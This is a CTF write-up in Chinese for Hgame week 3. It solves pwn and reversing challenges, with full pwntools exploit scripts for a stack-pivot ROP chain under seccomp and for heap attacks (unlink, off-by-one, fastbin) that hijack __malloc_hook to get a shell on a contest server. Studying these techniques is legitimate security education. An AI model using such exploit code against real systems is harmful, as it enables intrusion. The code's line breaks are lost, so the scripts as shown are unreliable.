一次受益颇多的CTF(RE/PWN)

前言

这个是Hgame_CTF第三周的题目，难度一周比一周大，而且还涉及了多方面的知识，一整期做下来对或许会有一个比较大的提升。其中有一道逆向，是通过监控本地端口来获取输入的，第一次接触这种输入模式，故借此机会记录一下。

##pwn ###ROP_LEVEL2

程序init禁用了59号中断，所以不能getshell

__int64 init(){  __int64 v0; // ST08_8  v0 = seccomp_init(2147418112LL);  seccomp_rule_add(v0, 0LL, 59LL, 0LL);  seccomp_load(v0);  return 0LL;}

main函数存在栈溢出，但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中，然后在buf中构造ROP，调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"EXEC_FILE = './ROP'io = remote('47.103.214.163',20300)#io = process('./ROP')elf = ELF(EXEC_FILE)#padding = 88read_plt = elf.plt['read']open_plt = elf.plt['open']io.recvuntil('?')#payload = 'flag\x00\x00\x00\x00'#payload = p64(0x060119F)payload += p64(0x0400a43)#pop rdipayload += p64(0x6010e0)#flagpayload += p64(0x0400a41)#pop rsipayload += p64(0)payload += p64(0)#padingpayload += p64(open_plt)payload += p64(0x040098F)#payload += 'flag\x00\x00\x00\x00'#io.sendline(payload)#buf 0x006010A0payload = 'a'*80payload += p64(0x06010A0)#bufpayload += p64(0x4009D5)io.sendline(payload)print io.recv()io.interactive()

###Annevi_Note

查看edit函数，每次会固定读入256个字节。而每次只能申请小于143字节的堆块，照成堆溢出。

__int64 edit(){  int v1; // [rsp+Ch] [rbp-4h]  puts("index?");  v1 = readi();  if ( list[v1] )  {printf("content:");read_n((__int64)list[v1], 256);puts("done!");  }  else  {puts("Invalid index!");  }  return 0LL;}

check一下文件查看开了哪些保护

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr，先减去88再减去mainarenaoffset求出libc基地址，不同版本的libc对应着不同版本的mainarenaoffset。然后使用unlink使得能改变list中的元素，写入malloc hook地址，然后改变malloc hook为one gadget。

exp

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"#EXEC_FILE = "./ROP_LEV"REMOTE_LIBC = "./libc-2.23.so"#main_offset = 3951392io = remote('47.103.214.163',20301)#io = process('./Annevi')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)def add(size,content):    io.sendlineafter(':','1')    io.sendlineafter('?',str(size))    io.sendlineafter(':',content)def edit(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.sendlineafter(':',content)def delete(idx):    io.sendlineafter(':','2')    io.sendlineafter('?',str(idx))def show(idx):    io.sendlineafter(':','3')    io.sendlineafter('?',str(idx))add(150,'a')add(150,'b')delete(0)add(150,'a'*7)show(0)#求出libc基地址io.recvuntil('a'*7)unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88print hex(unsorted_bin)libc_addr = unsorted_bin - 3951392delete(0)delete(1)malloc_hook = libc_addr + libc.sym['__malloc_hook']x = 0x0602040fd = x-0x18bk = x-0x10payload = p64(0)payload += p64(0x70)payload += p64(fd)+p64(bk)payload += 'a'*(0x70-(8*4))+p64(0x70)payload += p64(0)*3+p64(0x90)+p64(0xa0)add(0x90,'a')#0add(0x90,'b')#1add(0x90,'c')edit(0,payload)delete(1)payload = p64(0)*3payload += p64(malloc_hook)edit(0,payload)edit(0,p64(libc_addr+0xf1147))io.sendlineafter(':','1')io.sendlineafter('?',str(150))io.interactive()

###E99p1ant_Note

查看read_n函数，存在off-by-one。能修溢出修改一个字节。

__int64 __fastcall read_n(__int64 a1, int a2){  int i; // [rsp+1Ch] [rbp-4h]  for ( i = 0; i <= a2; ++i )  {read(0, (void *)(i + a1), 1uLL);if ( *(_BYTE *)(i + a1) == 10 )  break;  }  return 0LL;}

可以按照上面一道题的方法，先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack，使得链表中两个元素指向同一块内存，然后利用fastbin attack修改malloc hook变成one gadget。

#!/usr/bin/python#coding:utf-8from pwn import *from time import *from LibcSearcher import *context.log_level="debug"REMOTE_LIBC = "./libc-2.23.so"#main_offset = 3951392io = remote('47.103.214.163',20302)#io = process('./E99')#elf = ELF(EXEC_FILE)libc = ELF(REMOTE_LIBC)def add(size,content):    io.sendlineafter(':','1')    io.sendlineafter('?',str(size))    io.sendlineafter(':',content)def edit(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.sendlineafter(':',content)def edits(idx,content):    io.sendlineafter(':','4')    io.sendlineafter('?',str(idx))    io.recvuntil(':')    io.send(content)    #io.sendlineafter(':',content)def delete(idx):    io.sendlineafter(':','2')    io.sendlineafter('?',str(idx))def show(idx):    io.sendlineafter(':','3')    io.sendlineafter('?',str(idx))add(0x88,'a')add(0x88,'b')delete(0)add(0x88,'a'*7)show(0)#求出libc基地址io.recvuntil('a'*7)unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88print hex(unsorted_bin)libc_addr = unsorted_bin - 3951392delete(0)delete(1)add(0x88,'a')#0add(0x88,'b')#1add(0x88,'c')#2add(0x88,'d')#3add(0x88,'e')#4add(0x88,'f')#5delete(0)edits(3,'a'*0x80+p64(0x240)+p8(0x90))delete(4)add(0x88,'a')#0add(0x68,'a')#4add(0x10,'a')#6add(0x68,'a')#7add(0x10,'a')#8delete(4)delete(7)malloc_hook = libc_addr + libc.sym['__malloc_hook']edit(1,p64(malloc_hook-35)*2)add(0x68,'a')#4add(0x68,'b')#7print hex(libc_addr+0xf24cb)raw_input()add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))io.sendlineafter(':','1')io.sendlineafter('?',str(100))io.interactive()

##re

###oooollvm

程序加了ollvm混淆，或许可以用deflat.py去除，但是该程序逻辑比较简单，虽然加了混淆，但还是可以看清楚逻辑，所以可以带混淆逆。其实如果实在真的解不了混淆，可以凭经验下断点，或者在全部的真实块下断点动态调试也是可以的，不过比较麻烦。

v12为计数器，table1和flag经过计算和table2对比。

可以写脚本。

table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]flag = ""for i in range(34):    for q in range(20,127):        if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):            flag += chr(q)print flag

###Go_master

程序为Go写的linux下的程序。符号表没去，逆起来比较简单。

输入判断是否为9位。

fmt_Fscanln((__int64)a1,a2,(__int64)&go_itab__os_File_io_Reader,(__int64)&v82,v9,v10,(__int64)&go_itab__os_File_io_Reader,os_Stdin);  if ( v81[1] != 9 )// flag长度为9  {*(_QWORD *)&v88 = &unk_517D80;*((_QWORD *)&v88 + 1) = &off_573EE0;fmt_Fprintln(  (__int64)a1,  a2,  (__int64)&go_itab__os_File_io_Writer,  (__int64)&v88,  v11,  v12,  (__int64)&go_itab__os_File_io_Writer,  os_Stdout);os_Exit((__int64)a1);  }

然后进入sha1加密后对比。由于没有别的信息，有点难猜测9位是啥。

v80 = v62;  *(_QWORD *)v62 = 0xEFCDAB8967452301LL;  *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;  *(_DWORD *)(v62 + 16) = 0xC3D2E1F0;  *(_OWORD *)(v62 + 88) = 0LL;  v13 = *v81;  runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);  *(_QWORD *)&v16 = v80;  *((_QWORD *)&v16 + 1) = 1LL;  crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);  v64 = 0LL;  crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);  v76 = 1LL;  runtime_newobject();  v79 = 0LL;  unk_0 = 0x532A878B04894333LL;  unk_4 = xmmword_5514B0;  runtime_convTslice((__int64)a1, a2, v22);  v78 = 0LL >> 63;  runtime_convTslice((__int64)a1, a2, v23);  *(_QWORD *)&v64 = &unk_515C00;  reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);  v28 = v81;  v29 = v81[1];  v68 = v81[1];  v30 = *v81;  v77 = *v81;  cout = 0LL;

后来发现这9位和:2333拼接，进入net_Listen函数。

flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);  runtime_concatstring3((__int64)a1,a2,v72[1],v74[1],v37,v38,0,*v74,v74[1],(unsigned __int64)":<=?CLMNPSUZ[\n\t",1,*v72,v72[1]);  *(_QWORD *)&v39 = &unk_54E794;  *((_QWORD *)&v39 + 1) = 3LL;  net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);

这9位可能是个ip地址，2333是端口。猜测127.0.0.1和localhost，发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

当接收打数据后，程序会进入main_handleRequest函数，使用des加密监听到的数据对比，密钥为localhost。

直接解密得到flag

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag，判断是不是40字节。

__int64 sub_1400012E0(){  __int64 v0; // rax  char v2; // [rsp+28h] [rbp-30h]  sub_140001C10(&v2);  sub_1400015D0(std::cin, &v2);  if ( sub_1400024A0() == 40 )  {v0 = sub_1400023D0((__int64)&v2);sub_140001270(v0);  }  sub_140001E30((__int64)&v2);  return 0i64;}

进入到sub_140001270函数

__int64 __fastcall sub_140001270(__int64 a1){  __int64 v1; // rdi  int v2; // ebx  int v3; // eax  __int64 result; // rax  v1 = a1;  v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);  v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);  if ( v2 != 0x18257154 || v3 != 2058429201 )result = sub_140001030(0);  elseresult = sub_140001030(1);  return result;}

flag分成两部分进入sub_1400010C0函数。

__int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3){  int v3; // ebx  unsigned __int64 v4; // rbp  unsigned __int8 *v5; // r14  unsigned int v6; // er12  unsigned int *v7; // r15  signed int v8; // edi  unsigned int *v9; // rsi  unsigned int v10; // edx  unsigned int v11; // ecx  unsigned int v12; // edx  unsigned int v13; // ecx  unsigned int v14; // edx  unsigned int v15; // ecx  unsigned int v16; // edx  unsigned int v17; // ebx  unsigned __int8 *v18; // rdx  __int64 v19; // rax  unsigned int v21; // [rsp+50h] [rbp+8h]  v3 = a1;  v4 = a3;  v5 = a2;  v6 = v21;  v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);  v8 = 0;  v9 = v7;  do  {if ( v8 >= 256 ){  *v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);  if ( v8 == 4095 )sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);}else{  v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;  if ( !(v8 & 1) )v10 = (unsigned int)v8 >> 1;  v11 = (v10 >> 1) ^ 0xEDB88320;  if ( !(v10 & 1) )v11 = v10 >> 1;  v12 = (v11 >> 1) ^ 0xEDB88320;  if ( !(v11 & 1) )v12 = v11 >> 1;  v13 = (v12 >> 1) ^ 0xEDB88320;  if ( !(v12 & 1) )v13 = v12 >> 1;  v14 = (v13 >> 1) ^ 0xEDB88320;  if ( !(v13 & 1) )v14 = v13 >> 1;  v15 = (v14 >> 1) ^ 0xEDB88320;  if ( !(v14 & 1) )v15 = v14 >> 1;  v16 = (v15 >> 1) ^ 0xEDB88320;  if ( !(v15 & 1) )v16 = v15 >> 1;  v6 = (v16 >> 1) ^ 0xEDB88320;  if ( !(v16 & 1) )v6 = v16 >> 1;  *v9 = v6;}    ++v8;       ++v9;  }  while ( v8 < 4096 );  v17 = ~v3;  v18 = v5;  if ( v5 > &v5[v4] )v4 = 0i64;  if ( v4 )  {do{  v19 = *v18++;  v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];}while ( v18 - v5 < v4 );  }  return ~v17;}

看算法生成了表，很像是CRC32算法。 但是会进入sub_140001010函数。

里边call r8，并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后，会运行int指令。题目名叫hidden，或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

__int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD)){  signed int j; // [rsp+20h] [rbp-78h]  signed int i; // [rsp+24h] [rbp-74h]  signed int l; // [rsp+28h] [rbp-70h]  signed int k; // [rsp+2Ch] [rbp-6Ch]  unsigned int v7; // [rsp+30h] [rbp-68h]  char v8[38]; // [rsp+38h] [rbp-60h]  char v9; // [rsp+5Eh] [rbp-3Ah]  char *v10; // [rsp+60h] [rbp-38h]  __int64 v11; // [rsp+68h] [rbp-30h]  __int64 v12; // [rsp+70h] [rbp-28h]  __int64 v13; // [rsp+78h] [rbp-20h]  __int64 v14; // [rsp+80h] [rbp-18h]  __int64 v15; // [rsp+88h] [rbp-10h]  for ( i = 0; i < 40; ++i )v8[i] = *(_BYTE *)(a1 + i);  v10 = &v9;  for ( j = 0; j < 19; ++j )  {for ( k = 0; k < 2; ++k ){  v8[j] ^= v8[j + 19];  v8[j] += v10[k];  v8[j + 19] -= 103;  v8[j + 19] ^= v8[j];}  }  v7 = 1;  for ( l = 0; l < 40; ++l )  {v11 = 8896099409227384902i64;v12 = 5221214014029134222i64;v13 = 5439652918615309179i64;v14 = -9114877380574607267i64;v15 = 9035724225678832282i64;if ( v8[l] != *((char *)&v11 + l) ){  v7 = 0;  return a2(v7);}  }  return a2(v7);}

这估计就是真正处理flag的函数了，a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]for i in range(18,-1,-1):    for q in range(1,-1,-1):        flag[i+19] = (flag[i+19]^flag[i])&0xff        flag[i+19] = (flag[i+19]+103)&0xff        flag[i] = (flag[i]-flag[(q+38)])&0xff        flag[i] = (flag[i]^flag[i+19])&0xffflags = ""for i in flag:    flags+=chr(i)print flags